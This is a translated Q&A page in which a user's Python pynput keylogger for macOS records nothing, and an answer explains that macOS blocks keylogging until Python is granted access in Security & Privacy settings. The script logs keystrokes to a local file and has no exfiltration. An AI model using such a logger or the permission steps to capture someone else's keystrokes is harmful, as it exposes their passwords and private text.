MacO的Python3键盘记录器:脚本不起作用

时间:2020-04-07 10:19:39

标签: python-3.x macos keylogger pynput

我正在尝试在MacO上使用Python3运行一个简单的Keylogger。下面是脚本。

import pynput
from pynput.keyboard import Key, Listener



count = 0
keys = []

def on_press(Key):
    global keys, count
    print("hello")
    keys.append(Key)
    count += 1
    print(f"{Key} pressed")

    if count >= 10:
        count = 0
        write_file(keys)
        keys = []

# hello this is a test for the keylogger.

def write_file(keys):
    with open("logger.txt", "a") as f:
        for key in keys:
            f.write(str(key))



def on_release(Key):
    if Key == Key.esc:
        return False




with Listener(on_press= on_press, on_release = on_release) as listener:
    listener.join()

该代码显示在控制台上按下的键,并且每隔一段时间,它将代码存储在文件中。当我使用sudo运行脚本时,按某些键不会发生任何反应。没有显示控制台上按下了哪些键,文件也为空。

我无法理解问题所在。我猜想这与MacO的限制有关,后者可以完全使用键盘。但是我不确定。

请有人帮我。

1 个答案:

答案 0 :(得分:0)

我在一个相关的问题中找到了解决方案。出于安全原因,MacOS默认情况下不允许键盘记录。 因此,您需要手动启用它:

  1. 设置->安全和隐私
  2. 单击“隐私”选项卡
  3. 单击+并按住CMD + SHIFT +。 (这样您就可以看到隐藏的文件/文件夹)

  4. 导航到/ usr / local / bin或安装Python的任何地方

  5. 单击确定。

引自this answer

相关问题